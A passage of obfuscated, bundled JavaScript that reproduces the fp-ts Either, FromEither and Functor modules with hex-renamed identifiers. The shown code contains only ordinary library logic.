function (_0x24967d, _0x2c1340) { var _0x3dedf9 = (0x0, _0x25c4c0['foldMap'])(_0x129dc2); return (0x0, _0x4abe2b['pipe'])(_0x24967d, _0x3dedf9(_0x2c1340)); }; }, _0x4dc2c2 = function (_0x131fe9, _0x568ab6, _0x216d01) { return (0x0, _0x4abe2b['pipe'])(_0x131fe9, (0x0, _0x25c4c0['reduceRight'])(_0x568ab6, _0x216d01)); }, _0x4e0c10 = function (_0x41af9e) { var _0x1c6bfb = (0x0, _0x25c4c0['traverse'])(_0x41af9e); return function (_0x5a4158, _0x565169) { return (0x0, _0x4abe2b['pipe'])(_0x5a4158, _0x1c6bfb(_0x565169)); }; }, _0x233e40 = function (_0x5980fd, _0x3eac50, _0x11f992) { return (0x0, _0x4abe2b['pipe'])(_0x5980fd, (0x0, _0x25c4c0['bimap'])(_0x3eac50, _0x11f992)); }, _0x59dd5c = function (_0x38b772, _0xa0b793) { return (0x0, _0x4abe2b['pipe'])(_0x38b772, (0x0, _0x25c4c0['mapLeft'])(_0xa0b793)); }, _0x5c67e3 = function (_0x4dedad, _0x572151) { return (0x0, _0x4abe2b['pipe'])(_0x4dedad, (0x0, _0x25c4c0['alt'])(_0x572151)); }, _0x32d5ad = function (_0x1604a0, _0x9d77f3) { return (0x0, _0x4abe2b['pipe'])(_0x1604a0, (0x0, _0x25c4c0['extend'])(_0x9d77f3)); }, _0xa65dfc = function (_0x2bb0e4, _0x556593) { return (0x0, _0x241364['tailRec'])(_0x556593(_0x2bb0e4), function (_0x57f578) { return (0x0, _0x25c4c0['isLeft'])(_0x57f578) ? (0x0, _0x25c4c0['right'])((0x0, _0x25c4c0['left'])(_0x57f578['left'])) : (0x0, _0x25c4c0['isLeft'])(_0x57f578['right']) ? (0x0, _0x25c4c0['left'])(_0x556593(_0x57f578['right']['left'])) : (0x0, _0x25c4c0['right'])((0x0, _0x25c4c0['right'])(_0x57f578['right']['right'])); }); }; _0x25c4c0['URI'] = 'Either', _0x25c4c0['getShow'] = function (_0x3cb581, _0x5e7c0a) { return { 'show': function (_0x3baf54) { return (0x0, _0x25c4c0['isLeft'])(_0x3baf54) ? 'left('['concat'](_0x3cb581['show'](_0x3baf54['left']), ')') : 'right('['concat'](_0x5e7c0a['show'](_0x3baf54['right']), ')'); } }; }, _0x25c4c0['getEq'] = function (_0x447d53, _0x13722c) { return { 'equals': function (_0x2d00db, _0x706841) { return _0x2d00db === _0x706841 || ((0x0, _0x25c4c0['isLeft'])(_0x2d00db) ? (0x0, _0x25c4c0['isLeft'])(_0x706841) && _0x447d53['equals'](_0x2d00db['left'], _0x706841['left']) : (0x0, _0x25c4c0['isRight'])(_0x706841) && _0x13722c['equals'](_0x2d00db['right'], _0x706841['right'])); } }; }, _0x25c4c0['getSemigroup'] = function (_0x42c58a) { return { 'concat': function (_0x3a4684, _0x763e91) { return (0x0, _0x25c4c0['isLeft'])(_0x763e91) ? _0x3a4684 : (0x0, _0x25c4c0['isLeft'])(_0x3a4684) ? _0x763e91 : (0x0, _0x25c4c0['right'])(_0x42c58a['concat'](_0x3a4684['right'], _0x763e91['right'])); } }; }, _0x25c4c0['getCompactable'] = function (_0x1a609e) { var _0x481ae6 = (0x0, _0x25c4c0['left'])(_0x1a609e['empty']); return { 'URI': _0x25c4c0['URI'], '_E': void 0x0, 'compact': function (_0x1fbe64) { return (0x0, _0x25c4c0['isLeft'])(_0x1fbe64) ? _0x1fbe64 : 'None' === _0x1fbe64['right']['_tag'] ? _0x481ae6 : (0x0, _0x25c4c0['right'])(_0x1fbe64['right']['value']); }, 'separate': function (_0x226e2c) { return (0x0, _0x25c4c0['isLeft'])(_0x226e2c) ? (0x0, _0x22eb45['separated'])(_0x226e2c, _0x226e2c) : (0x0, _0x25c4c0['isLeft'])(_0x226e2c['right']) ? (0x0, _0x22eb45['separated'])((0x0, _0x25c4c0['right'])(_0x226e2c['right']['left']), _0x481ae6) : (0x0, _0x22eb45['separated'])(_0x481ae6, (0x0, _0x25c4c0['right'])(_0x226e2c['right']['right'])); } }; }, _0x25c4c0['getFilterable'] = function (_0x2e956a) { var _0x1c22e5 = (0x0, _0x25c4c0['left'])(_0x2e956a['empty']), _0x1e30c9 = (0x0, _0x25c4c0['getCompactable'])(_0x2e956a), _0x46a136 = _0x1e30c9['compact'], _0x369327 = _0x1e30c9['separate']; return { 'URI': _0x25c4c0['URI'], '_E': void 0x0, 'map': _0x10e5f2, 'compact': _0x46a136, 'separate': _0x369327, 'filter': function (_0x39740b, _0x4d6f61) { return (0x0, _0x25c4c0['isLeft'])(_0x39740b) || _0x4d6f61(_0x39740b['right']) ? _0x39740b : _0x1c22e5; }, 'filterMap': function (_0x15419a, _0x5ef5b2) { if ((0x0, _0x25c4c0['isLeft'])(_0x15419a)) return _0x15419a; var _0x304a02 = _0x5ef5b2(_0x15419a['right']); return 'None' === _0x304a02['_tag'] ? _0x1c22e5 : (0x0, _0x25c4c0['right'])(_0x304a02['value']); }, 'partition': function (_0x3f7df2, _0x830005) { return (0x0, _0x25c4c0['isLeft'])(_0x3f7df2) ? (0x0, _0x22eb45['separated'])(_0x3f7df2, _0x3f7df2) : _0x830005(_0x3f7df2['right']) ? (0x0, _0x22eb45['separated'])(_0x1c22e5, (0x0, _0x25c4c0['right'])(_0x3f7df2['right'])) : (0x0, _0x22eb45['separated'])((0x0, _0x25c4c0['right'])(_0x3f7df2['right']), _0x1c22e5); }, 'partitionMap': function (_0xaeeac7, _0x127e26) { if ((0x0, _0x25c4c0['isLeft'])(_0xaeeac7)) return (0x0, _0x22eb45['separated'])(_0xaeeac7, _0xaeeac7); var _0x18fb2b = _0x127e26(_0xaeeac7['right']); return (0x0, _0x25c4c0['isLeft'])(_0x18fb2b) ? (0x0, _0x22eb45['separated'])((0x0, _0x25c4c0['right'])(_0x18fb2b['left']), _0x1c22e5) : (0x0, _0x22eb45['separated'])(_0x1c22e5, (0x0, _0x25c4c0['right'])(_0x18fb2b['right'])); } }; }, _0x25c4c0['getWitherable'] = function (_0x3d5767) { var _0x1748eb = (0x0, _0x25c4c0['getFilterable'])(_0x3d5767), _0x3bf87e = (0x0, _0x25c4c0['getCompactable'])(_0x3d5767); return { 'URI': _0x25c4c0['URI'], '_E': void 0x0, 'map': _0x10e5f2, 'compact': _0x1748eb['compact'], 'separate': _0x1748eb['separate'], 'filter': _0x1748eb['filter'], 'filterMap': _0x1748eb['filterMap'], 'partition': _0x1748eb['partition'], 'partitionMap': _0x1748eb['partitionMap'], 'traverse': _0x4e0c10, 'sequence': _0x25c4c0['sequence'], 'reduce': _0x5806b8, 'foldMap': _0x4e29fd, 'reduceRight': _0x4dc2c2, 'wither': (0x0, _0x5bac0a['witherDefault'])(_0x25c4c0['Traversable'], _0x3bf87e), 'wilt': (0x0, _0x5bac0a['wiltDefault'])(_0x25c4c0['Traversable'], _0x3bf87e) }; }, _0x25c4c0['getApplicativeValidation'] = function (_0x5f51ac) { return { 'URI': _0x25c4c0['URI'], '_E': void 0x0, 'map': _0x10e5f2, 'ap': function (_0x3bf7e5, _0x3f72b9) { return (0x0, _0x25c4c0['isLeft'])(_0x3bf7e5) ? (0x0, _0x25c4c0['isLeft'])(_0x3f72b9) ? (0x0, _0x25c4c0['left'])(_0x5f51ac['concat'](_0x3bf7e5['left'], _0x3f72b9['left'])) : _0x3bf7e5 : (0x0, _0x25c4c0['isLeft'])(_0x3f72b9) ? _0x3f72b9 : (0x0, _0x25c4c0['right'])(_0x3bf7e5['right'](_0x3f72b9['right'])); }, 'of': _0x25c4c0['of'] }; }, _0x25c4c0['getAltValidation'] = function (_0x3b606a) { return { 'URI': _0x25c4c0['URI'], '_E': void 0x0, 'map': _0x10e5f2, 'alt': function (_0x2a28e1, _0x246344) { if ((0x0, _0x25c4c0['isRight'])(_0x2a28e1)) return _0x2a28e1; var _0xdc26b5 = _0x246344(); return (0x0, _0x25c4c0['isLeft'])(_0xdc26b5) ? (0x0, _0x25c4c0['left'])(_0x3b606a['concat'](_0x2a28e1['left'], _0xdc26b5['left'])) : _0xdc26b5; } }; }, (_0x25c4c0['map'] = function (_0x11d26e) { return function (_0x31c820) { return (0x0, _0x25c4c0['isLeft'])(_0x31c820) ? _0x31c820 : (0x0, _0x25c4c0['right'])(_0x11d26e(_0x31c820['right'])); }; }, _0x25c4c0['Functor'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2 }, _0x25c4c0['as'] = (0x0, _0x4abe2b['dual'])(0x2, (0x0, _0x2a1dbb['as'])(_0x25c4c0['Functor'])), _0x25c4c0['asUnit'] = (0x0, _0x2a1dbb['asUnit'])(_0x25c4c0['Functor']), _0x25c4c0['of'] = _0x25c4c0['right'], _0x25c4c0['Pointed'] = { 'URI': _0x25c4c0['URI'], 'of': _0x25c4c0['of'] }), (_0x25c4c0['apW'] = function (_0x3dcf54) { return function (_0x40c842) { return (0x0, _0x25c4c0['isLeft'])(_0x40c842) ? _0x40c842 : (0x0, _0x25c4c0['isLeft'])(_0x3dcf54) ? _0x3dcf54 : (0x0, _0x25c4c0['right'])(_0x40c842['right'](_0x3dcf54['right'])); }; }, _0x25c4c0['ap'] = _0x25c4c0['apW'], _0x25c4c0['Apply'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'ap': _0x1546af }, _0x25c4c0['Applicative'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'ap': _0x1546af, 'of': _0x25c4c0['of'] }, _0x25c4c0['Chain'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'ap': _0x1546af, 'chain': _0x25c4c0['flatMap'] }, _0x25c4c0['Monad'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'ap': _0x1546af, 'of': _0x25c4c0['of'], 'chain': _0x25c4c0['flatMap'] }), _0x25c4c0['reduce'] = function (_0x417300, _0x2c1b03) { return function (_0x217094) { return (0x0, _0x25c4c0['isLeft'])(_0x217094) ? _0x417300 : _0x2c1b03(_0x417300, _0x217094['right']); }; }, _0x25c4c0['foldMap'] = function (_0x1a1081) { return function (_0x1c5177) { return function (_0x1fa2ed) { return (0x0, _0x25c4c0['isLeft'])(_0x1fa2ed) ? _0x1a1081['empty'] : _0x1c5177(_0x1fa2ed['right']); }; }; }, (_0x25c4c0['reduceRight'] = function (_0x5baf97, _0x1b92fb) { return function (_0x2f2f16) { return (0x0, _0x25c4c0['isLeft'])(_0x2f2f16) ? _0x5baf97 : _0x1b92fb(_0x2f2f16['right'], _0x5baf97); }; }, _0x25c4c0['Foldable'] = { 'URI': _0x25c4c0['URI'], 'reduce': _0x5806b8, 'foldMap': _0x4e29fd, 'reduceRight': _0x4dc2c2 }), _0x25c4c0['traverse'] = function (_0x2effb9) { return function (_0x6cf137) { return function (_0x57e6db) { return (0x0, _0x25c4c0['isLeft'])(_0x57e6db) ? _0x2effb9['of']((0x0, _0x25c4c0['left'])(_0x57e6db['left'])) : _0x2effb9['map'](_0x6cf137(_0x57e6db['right']), _0x25c4c0['right']); }; }; }, (_0x25c4c0['sequence'] = function (_0x327261) { return function (_0x5b386c) { return (0x0, _0x25c4c0['isLeft'])(_0x5b386c) ? _0x327261['of']((0x0, _0x25c4c0['left'])(_0x5b386c['left'])) : _0x327261['map'](_0x5b386c['right'], _0x25c4c0['right']); }; }, _0x25c4c0['Traversable'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'reduce': _0x5806b8, 'foldMap': _0x4e29fd, 'reduceRight': _0x4dc2c2, 'traverse': _0x4e0c10, 'sequence': _0x25c4c0['sequence'] }), _0x25c4c0['bimap'] = function (_0x312e34, _0x3d4478) { return function (_0x215952) { return (0x0, _0x25c4c0['isLeft'])(_0x215952) ? (0x0, _0x25c4c0['left'])(_0x312e34(_0x215952['left'])) : (0x0, _0x25c4c0['right'])(_0x3d4478(_0x215952['right'])); }; }, (_0x25c4c0['mapLeft'] = function (_0x23ce94) { return function (_0x4921af) { return (0x0, _0x25c4c0['isLeft'])(_0x4921af) ? (0x0, _0x25c4c0['left'])(_0x23ce94(_0x4921af['left'])) : _0x4921af; }; }, _0x25c4c0['Bifunctor'] = { 'URI': _0x25c4c0['URI'], 'bimap': _0x233e40, 'mapLeft': _0x59dd5c }), (_0x25c4c0['altW'] = function (_0x26b7d9) { return function (_0x32ff4e) { return (0x0, _0x25c4c0['isLeft'])(_0x32ff4e) ? _0x26b7d9() : _0x32ff4e; }; }, _0x25c4c0['alt'] = _0x25c4c0['altW'], _0x25c4c0['Alt'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'alt': _0x5c67e3 }), (_0x25c4c0['extend'] = function (_0xf7a8a6) { return function (_0x2c752e) { return (0x0, _0x25c4c0['isLeft'])(_0x2c752e) ? _0x2c752e : (0x0, _0x25c4c0['right'])(_0xf7a8a6(_0x2c752e)); }; }, _0x25c4c0['Extend'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'extend': _0x32d5ad }, _0x25c4c0['ChainRec'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'ap': _0x1546af, 'chain': _0x25c4c0['flatMap'], 'chainRec': _0xa65dfc }, _0x25c4c0['throwError'] = _0x25c4c0['left'], _0x25c4c0['MonadThrow'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'ap': _0x1546af, 'of': _0x25c4c0['of'], 'chain': _0x25c4c0['flatMap'], 'throwError': _0x25c4c0['throwError'] }, _0x25c4c0['FromEither'] = { 'URI': _0x25c4c0['URI'], 'fromEither': _0x4abe2b['identity'] }, _0x25c4c0['fromPredicate'] = (0x0, _0x370ad4['fromPredicate'])(_0x25c4c0['FromEither']), _0x25c4c0['fromOption'] = (0x0, _0x370ad4['fromOption'])(_0x25c4c0['FromEither']), _0x25c4c0['isLeft'] = _0x1cf043['isLeft'], _0x25c4c0['isRight'] = _0x1cf043['isRight']), (_0x25c4c0['matchW'] = function (_0x1102c6, _0x177560) { return function (_0x4ecd86) { return (0x0, _0x25c4c0['isLeft'])(_0x4ecd86) ? _0x1102c6(_0x4ecd86['left']) : _0x177560(_0x4ecd86['right']); }; }, _0x25c4c0['foldW'] = _0x25c4c0['matchW'], _0x25c4c0['match'] = _0x25c4c0['matchW'], _0x25c4c0['fold'] = _0x25c4c0['match']), (_0x25c4c0['getOrElseW'] = function (_0x11918e) { return function (_0x4a5dc7) { return (0x0, _0x25c4c0['isLeft'])(_0x4a5dc7) ? _0x11918e(_0x4a5dc7['left']) : _0x4a5dc7['right']; }; }, _0x25c4c0['getOrElse'] = _0x25c4c0['getOrElseW'], _0x25c4c0['flap'] = (0x0, _0x2a1dbb['flap'])(_0x25c4c0['Functor']), _0x25c4c0['apFirst'] = (0x0, _0x4684a2['apFirst'])(_0x25c4c0['Apply']), _0x25c4c0['apFirstW'] = _0x25c4c0['apFirst'], _0x25c4c0['apSecond'] = (0x0, _0x4684a2['apSecond'])(_0x25c4c0['Apply']), _0x25c4c0['apSecondW'] = _0x25c4c0['apSecond'], _0x25c4c0['tap'] = (0x0, _0x4abe2b['dual'])(0x2, _0x3c3c90['tap'](_0x25c4c0['Chain'])), _0x25c4c0['flattenW'] = (0x0, _0x25c4c0['flatMap'])(_0x4abe2b['identity']), _0x25c4c0['flatten'] = _0x25c4c0['flattenW'], _0x25c4c0['duplicate'] = (0x0, _0x25c4c0['extend'])(_0x4abe2b['identity']), _0x25c4c0['fromOptionK'] = (0x0, _0x370ad4['fromOptionK'])(_0x25c4c0['FromEither']), _0x25c4c0['chainOptionK'] = (0x0, _0x370ad4['chainOptionK'])(_0x25c4c0['FromEither'], _0x25c4c0['Chain']), _0x25c4c0['chainOptionKW'] = _0x25c4c0['chainOptionK']); var _0x5cdba6 = { 'fromEither': _0x25c4c0['FromEither']['fromEither'] }; _0x25c4c0['liftNullable'] = _0x1cf043['liftNullable'](_0x5cdba6), _0x25c4c0['liftOption'] = _0x1cf043['liftOption'](_0x5cdba6); var _0x113013 = { 'flatMap': _0x25c4c0['flatMap'] }; _0x25c4c0['flatMapNullable'] = _0x1cf043['flatMapNullable'](_0x5cdba6, _0x113013), _0x25c4c0['flatMapOption'] = _0x1cf043['flatMapOption'](_0x5cdba6, _0x113013), _0x25c4c0['filterOrElse'] = (0x0, _0x370ad4['filterOrElse'])(_0x25c4c0['FromEither'], _0x25c4c0['Chain']), _0x25c4c0['filterOrElseW'] = _0x25c4c0['filterOrElse'], _0x25c4c0['swap'] = function (_0x36fec2) { return (0x0, _0x25c4c0['isLeft'])(_0x36fec2) ? (0x0, _0x25c4c0['right'])(_0x36fec2['left']) : (0x0, _0x25c4c0['left'])(_0x36fec2['right']); }, (_0x25c4c0['orElseW'] = function (_0xaea659) { return function (_0x21ed67) { return (0x0, _0x25c4c0['isLeft'])(_0x21ed67) ? _0xaea659(_0x21ed67['left']) : _0x21ed67; }; }, _0x25c4c0['orElse'] = _0x25c4c0['orElseW']), _0x25c4c0['fromNullable'] = function (_0x165dfa) { return function (_0x345f2b) { return null == _0x345f2b ? (0x0, _0x25c4c0['left'])(_0x165dfa) : (0x0, _0x25c4c0['right'])(_0x345f2b); }; }, _0x25c4c0['tryCatch'] = function (_0x382408, _0x548b2b) { try { return (0x0, _0x25c4c0['right'])(_0x382408()); } catch (_0xf4f193) { return (0x0, _0x25c4c0['left'])(_0x548b2b(_0xf4f193)); } }, _0x25c4c0['tryCatchK'] = function (_0x4ec794, _0x543b9b) { return function () { for (var _0x56875f = [], _0x5138db = 0x0; _0x5138db < arguments['length']; _0x5138db++)_0x56875f[_0x5138db] = arguments[_0x5138db]; return (0x0, _0x25c4c0['tryCatch'])(function () { return _0x4ec794['apply'](void 0x0, _0x56875f); }, _0x543b9b); }; }, _0x25c4c0['fromNullableK'] = function (_0x5e5876) { var _0x11b5c6 = (0x0, _0x25c4c0['fromNullable'])(_0x5e5876); return function (_0x3a26eb) { return (0x0, _0x4abe2b['flow'])(_0x3a26eb, _0x11b5c6); }; }, (_0x25c4c0['chainNullableK'] = function (_0x385d58) { var _0x55d33c = (0x0, _0x25c4c0['fromNullableK'])(_0x385d58); return function (_0x20646d) { return (0x0, _0x25c4c0['flatMap'])(_0x55d33c(_0x20646d)); }; }, _0x25c4c0['toUnion'] = (0x0, _0x25c4c0['foldW'])(_0x4abe2b['identity'], _0x4abe2b['identity']), _0x25c4c0['toError'] = function (_0x4ff9eb) { return _0x4ff9eb instanceof Error ? _0x4ff9eb : new Error(String(_0x4ff9eb)); }, _0x25c4c0['elem'] = function _0x275d60(_0x9b14af) { return function (_0x18004d, _0x3c8592) { if (void 0x0 === _0x3c8592) { var _0x158962 = _0x275d60(_0x9b14af); return function (_0x380d9a) { return _0x158962(_0x18004d, _0x380d9a); }; } return !(0x0, _0x25c4c0['isLeft'])(_0x3c8592) && _0x9b14af['equals'](_0x18004d, _0x3c8592['right']); }; }), (_0x25c4c0['exists'] = function (_0xf9b77e) { return function (_0xd1e414) { return !(0x0, _0x25c4c0['isLeft'])(_0xd1e414) && _0xf9b77e(_0xd1e414['right']); }; }, _0x25c4c0['Do'] = (0x0, _0x25c4c0['of'])(_0x1cf043['emptyRecord']), _0x25c4c0['bindTo'] = (0x0, _0x2a1dbb['bindTo'])(_0x25c4c0['Functor'])); var _0x1324b2 = (0x0, _0x2a1dbb['let'])(_0x25c4c0['Functor']); _0x25c4c0['let'] = _0x1324b2, _0x25c4c0['bind'] = _0x3c3c90['bind'](_0x25c4c0['Chain']), _0x25c4c0['bindW'] = _0x25c4c0['bind'], _0x25c4c0['apS'] = (0x0, _0x4684a2['apS'])(_0x25c4c0['Apply']), _0x25c4c0['apSW'] = _0x25c4c0['apS'], _0x25c4c0['ApT'] = (0x0, _0x25c4c0['of'])(_0x1cf043['emptyReadonlyArray']), _0x25c4c0['traverseReadonlyNonEmptyArrayWithIndex'] = function (_0x1d18b8) { return function (_0x2310b8) { var _0x31ea7c = _0x1d18b8(0x0, _0x1cf043['head'](_0x2310b8)); if ((0x0, _0x25c4c0['isLeft'])(_0x31ea7c)) return _0x31ea7c; for (var _0x2a91d3 = [_0x31ea7c['right']], _0x342ed6 = 0x1; _0x342ed6 < _0x2310b8['length']; _0x342ed6++) { var _0x2c89ee = _0x1d18b8(_0x342ed6, _0x2310b8[_0x342ed6]); if ((0x0, _0x25c4c0['isLeft'])(_0x2c89ee)) return _0x2c89ee; _0x2a91d3['push'](_0x2c89ee['right']); } return (0x0, _0x25c4c0['right'])(_0x2a91d3); }; }, (_0x25c4c0['traverseReadonlyArrayWithIndex'] = function (_0x4c6dc4) { var _0x3b3768 = (0x0, _0x25c4c0['traverseReadonlyNonEmptyArrayWithIndex'])(_0x4c6dc4); return function (_0x3d5707) { return _0x1cf043['isNonEmpty'](_0x3d5707) ? _0x3b3768(_0x3d5707) : _0x25c4c0['ApT']; }; }, _0x25c4c0['traverseArrayWithIndex'] = _0x25c4c0['traverseReadonlyArrayWithIndex']), (_0x25c4c0['traverseArray'] = function (_0x1ff065) { return (0x0, _0x25c4c0['traverseReadonlyArrayWithIndex'])(function (_0x2d5dd6, _0x446a87) { return _0x1ff065(_0x446a87); }); }, _0x25c4c0['sequenceArray'] = (0x0, _0x25c4c0['traverseArray'])(_0x4abe2b['identity']), _0x25c4c0['chainW'] = _0x25c4c0['flatMap'], _0x25c4c0['chain'] = _0x25c4c0['flatMap'], _0x25c4c0['chainFirst'] = _0x25c4c0['tap'], _0x25c4c0['chainFirstW'] = _0x25c4c0['tap'], _0x25c4c0['parseJSON'] = function (_0x12d0b5, _0x1c04d9) { return (0x0, _0x25c4c0['tryCatch'])(function () { return JSON['parse'](_0x12d0b5); }, _0x1c04d9); }), (_0x25c4c0['stringifyJSON'] = function (_0x21cb69, _0x258575) { return (0x0, _0x25c4c0['tryCatch'])(function () { var _0x140e23 = JSON['stringify'](_0x21cb69); if ('string' != typeof _0x140e23) throw new Error('Converting\x20unsupported\x20structure\x20to\x20JSON'); return _0x140e23; }, _0x258575); }, _0x25c4c0['either'] = { 'URI': _0x25c4c0['URI'], 'map': _0x10e5f2, 'of': _0x25c4c0['of'], 'ap': _0x1546af, 'chain': _0x25c4c0['flatMap'], 'reduce': _0x5806b8, 'foldMap': _0x4e29fd, 'reduceRight': _0x4dc2c2, 'traverse': _0x4e0c10, 'sequence': _0x25c4c0['sequence'], 'bimap': _0x233e40, 'mapLeft': _0x59dd5c, 'alt': _0x5c67e3, 'extend': _0x32d5ad, 'chainRec': _0xa65dfc, 'throwError': _0x25c4c0['throwError'] }, _0x25c4c0['getApplySemigroup'] = (0x0, _0x4684a2['getApplySemigroup'])(_0x25c4c0['Apply']), _0x25c4c0['getApplyMonoid'] = (0x0, _0x5b9cac['getApplicativeMonoid'])(_0x25c4c0['Applicative'])), _0x25c4c0['getValidationSemigroup'] = function (_0x128093, _0x41622c) { return (0x0, _0x4684a2['getApplySemigroup'])((0x0, _0x25c4c0['getApplicativeValidation'])(_0x128093))(_0x41622c); }, (_0x25c4c0['getValidationMonoid'] = function (_0x45112b, _0x225624) { return (0x0, _0x5b9cac['getApplicativeMonoid'])((0x0, _0x25c4c0['getApplicativeValidation'])(_0x45112b))(_0x225624); }, _0x25c4c0['getValidation'] = function (_0x5ac427) { var _0x2a26d0 = (0x0, _0x25c4c0['getApplicativeValidation'])(_0x5ac427)['ap'], _0x597840 = (0x0, _0x25c4c0['getAltValidation'])(_0x5ac427)['alt']; return { 'URI': _0x25c4c0['URI'], '_E': void 0x0, 'map': _0x10e5f2, 'of': _0x25c4c0['of'], 'chain': _0x25c4c0['flatMap'], 'bimap': _0x233e40, 'mapLeft': _0x59dd5c, 'reduce': _0x5806b8, 'foldMap': _0x4e29fd, 'reduceRight': _0x4dc2c2, 'extend': _0x32d5ad, 'traverse': _0x4e0c10, 'sequence': _0x25c4c0['sequence'], 'chainRec': _0xa65dfc, 'throwError': _0x25c4c0['throwError'], 'ap': _0x2a26d0, 'alt': _0x597840 }; }); }, 0x178a: function (_0x158546, _0x265129, _0x20658f) { 'use strict'; var _0x42ef2d = this && this['__createBinding'] || (Object['create'] ? function (_0x454565, _0x806166, _0x51c677, _0xc9ddad) { void 0x0 === _0xc9ddad && (_0xc9ddad = _0x51c677); var _0x586b2e = Object['getOwnPropertyDescriptor'](_0x806166, _0x51c677); _0x586b2e && !('get' in _0x586b2e ? !_0x806166['__esModule'] : _0x586b2e['writable'] || _0x586b2e['configurable']) || (_0x586b2e = { 'enumerable': !0x0, 'get': function () { return _0x806166[_0x51c677]; } }), Object['defineProperty'](_0x454565, _0xc9ddad, _0x586b2e); } : function (_0x2850f5, _0x39e628, _0x3d9e45, _0x4c1e53) { void 0x0 === _0x4c1e53 && (_0x4c1e53 = _0x3d9e45), _0x2850f5[_0x4c1e53] = _0x39e628[_0x3d9e45]; }), _0x3dd3ad = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x51e706, _0x4cca18) { Object['defineProperty'](_0x51e706, 'default', { 'enumerable': !0x0, 'value': _0x4cca18 }); } : function (_0x105652, _0x377468) { _0x105652['default'] = _0x377468; }), _0x255a13 = this && this['__importStar'] || function (_0x29c76d) { if (_0x29c76d && _0x29c76d['__esModule']) return _0x29c76d; var _0x1f173c = {}; if (null != _0x29c76d) { for (var _0x5f024d in _0x29c76d) 'default' !== _0x5f024d && Object['prototype']['hasOwnProperty']['call'](_0x29c76d, _0x5f024d) && _0x42ef2d(_0x1f173c, _0x29c76d, _0x5f024d); } return _0x3dd3ad(_0x1f173c, _0x29c76d), _0x1f173c; }; Object['defineProperty'](_0x265129, '__esModule', { 'value': !0x0 }), _0x265129['tapEither'] = _0x265129['filterOrElse'] = _0x265129['chainFirstEitherK'] = _0x265129['chainEitherK'] = _0x265129['fromEitherK'] = _0x265129['chainOptionK'] = _0x265129['fromOptionK'] = _0x265129['fromPredicate'] = _0x265129['fromOption'] = void 0x0; var _0x14787e = _0x20658f(0x102e), _0x51a3e7 = _0x20658f(0x1b21), _0x2d3ca9 = _0x255a13(_0x20658f(0x3e4)); function _0x20ef7f(_0x4cc2b8) { return function (_0x58b356) { return function (_0x546a54) { return _0x4cc2b8['fromEither'](_0x2d3ca9['isNone'](_0x546a54) ? _0x2d3ca9['left'](_0x58b356()) : _0x2d3ca9['right'](_0x546a54['value'])); }; }; } function _0x356862(_0x1681cb) { var _0x5da52b = _0x20ef7f(_0x1681cb); return function (_0x501fdc) { var _0x47cbdf = _0x5da52b(_0x501fdc); return function (_0x3bea0e) { return (0x0, _0x51a3e7['flow'])(_0x3bea0e, _0x47cbdf); }; }; } function _0x5d0e72(_0x4720ea) { return function (_0x59cf62) { return (0x0, _0x51a3e7['flow'])(_0x59cf62, _0x4720ea['fromEither']); }; } function _0x5c8604(_0x5a6100, _0x127830) { var _0x240e09 = _0x5d0e72(_0x5a6100), _0x4002d9 = (0x0, _0x14787e['tap'])(_0x127830); return function (_0x305500, _0x2ee11c) { return _0x4002d9(_0x305500, _0x240e09(_0x2ee11c)); }; } _0x265129['fromOption'] = _0x20ef7f, _0x265129['fromPredicate'] = function (_0x1ae311) { return function (_0x5bebe1, _0xf3ccc3) { return function (_0x4622a0) { return _0x1ae311['fromEither'](_0x5bebe1(_0x4622a0) ? _0x2d3ca9['right'](_0x4622a0) : _0x2d3ca9['left'](_0xf3ccc3(_0x4622a0))); }; }; }, _0x265129['fromOptionK'] = _0x356862, _0x265129['chainOptionK'] = function (_0x412c8e, _0x4a9ed9) { var _0x1d7faf = _0x356862(_0x412c8e); return function (_0x59674f) { var _0xa8da6d = _0x1d7faf(_0x59674f); return function (_0x4809c2) { return function (_0x5abbf1) { return _0x4a9ed9['chain'](_0x5abbf1, _0xa8da6d(_0x4809c2)); }; }; }; }, _0x265129['fromEitherK'] = _0x5d0e72, _0x265129['chainEitherK'] = function (_0x2089f2, _0x3d639b) { var _0x424087 = _0x5d0e72(_0x2089f2); return function (_0x46dc78) { return function (_0x2fb415) { return _0x3d639b['chain'](_0x2fb415, _0x424087(_0x46dc78)); }; }; }, _0x265129['chainFirstEitherK'] = function (_0x4a686c, _0x1720f5) { var _0x1bbff1 = _0x5c8604(_0x4a686c, _0x1720f5); return function (_0x232852) { return function (_0x2194ac) { return _0x1bbff1(_0x2194ac, _0x232852); }; }; }, _0x265129['filterOrElse'] = function (_0x4d78db, _0xcbcbd1) { return function (_0x1199e6, _0x1f8141) { return function (_0x56265e) { return _0xcbcbd1['chain'](_0x56265e, function (_0x13d7fa) { return _0x4d78db['fromEither'](_0x1199e6(_0x13d7fa) ? _0x2d3ca9['right'](_0x13d7fa) : _0x2d3ca9['left'](_0x1f8141(_0x13d7fa))); }); }; }; }, _0x265129['tapEither'] = _0x5c8604; }, 0x222b: (_0x493c02, _0xa3c39d, _0x19ddb2) => { 'use strict'; Object['defineProperty'](_0xa3c39d, '__esModule', { 'value': !0x0 }), _0xa3c39d['asUnit'] = _0xa3c39d['as'] = _0xa3c39d['getFunctorComposition'] = _0xa3c39d['let'] = _0xa3c39d['bindTo'] = _0xa3c39d['flap'] = _0xa3c39d['map'] = void 0x0; var _0x331c9d = _0x19ddb2(0x1b21); function _0x154333(_0x3febf7, _0x30100a) { return function (_0x33644b) { return function (_0x238d43) { return _0x3febf7['map'](_0x238d43, function (_0xf873d9) { return _0x30100a['map'](_0xf873d9, _0x33644b); }); }; }; } function _0x541abb(_0x560aab) { return function (_0x3cda4f, _0x4c7f61) { return _0x560aab['map'](_0x3cda4f, function () { return _0x4c7f61; }); }; } _0xa3c39d['map'] = _0x154333, _0xa3c39d['flap'] = function (_0x443a3c) { return function (_0x14f7e0) { return function (_0x168a7f) { return _0x443a3c['map'](_0x168a7f, function (_0x1d2c96) { return _0x1d2c96(_0x14f7e0); }); }; }; }, 